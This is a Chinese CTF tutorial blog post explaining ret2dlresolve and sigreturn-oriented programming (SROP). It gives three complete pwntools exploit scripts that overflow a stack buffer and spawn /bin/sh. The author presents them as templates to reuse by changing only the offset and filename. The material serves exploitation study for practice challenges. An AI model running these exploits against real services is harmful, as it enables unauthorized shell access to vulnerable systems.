ret2dlresolve,ret2srop

ret2dlresolve

在 Linux 中,程序使用 _dl_runtime_resolve(link_map_obj, reloc_offset) 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。

例题

ret2dlresolve平常不经常见,这里也简单简绍一下如何用工具来直接梭哈

  首先,32位的 标志特别突出,只有read函数能栈溢出

 exp:

from pwn import *
p=process("./pwn32")
elf = context.binary = ELF('./pwn32')
#p = remote("pwn.node.game.sycsec.com",11111)
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * (0x48+4))

rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)
p.interactive()

 不用去深究,会套脚本就可以,溢出字节以及文件名更换其他直接套

64位的也一样,只有read函数

 exp:

from pwn import *
p=process("./pwn64")
elf = context.binary = ELF('./pwn64')
#p = remote("pwn.node.game.sycsec.com",11111)
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * (0x30+8))
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)
p.interactive()

 直接梭哈

ret2srop

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。这个可以自行去了解

 主要是2,这个过程会rt_sigreturn函数进行还原,而且是根据栈中内容去还原,之后我们可以利用工具去伪造我们想要rop链

利用rt_sigreturn恢复ucontext_t的机制,我们可以构造一个假的ucontext_t,这样我们就能控制所有的寄存器。

对了结构体的构建,pwntools里面已经有现成的库函数:pwnlib.rop.srop — Sigreturn Oriented Programming — pwntools 4.11.1 documentation 。

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0

 例题

没有一个函数,也不是我们经常利用的read,write函数,这里只有一次发送机会,但我们要发送两次,第一次先将返回地址再改成vuln函数,第二次发送我们的rop链

 当出syscall时也讲过寄存器的利用,要想调用system需要满足:

rax=0x3b(系统调用号)

rdi=/bin/sh

rsi=0x0

rdx=0x0

 调用sigreturn需满足

rax=0xf

ret=syscall

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
          gdb.attach(p)
          pause()
vuln=0x4004ED
syscall=0x400517
rax=0x4004DA
pay=b'a'*(0x10)+p64(vuln)
bug()
p.send(pay)
stack=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(stack))
frame=SigreturnFrame()
frame.rax=constants.SYS_execve

###系统调用号,可改为0x3b
frame.rdi=stack-328

##/bin/sh地址
frame.rsi=0
frame.rdx=0
#frame.rsp=stack-328
frame.rip=syscall
pay=b'/bin/sh\x00'*2+p64(rax)+p64(syscall)+bytes(frame)

#调用sigreturn并附带rop链
pause()
p.send(pay)
p.interactive()  

 打通本地

 

  • 14
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值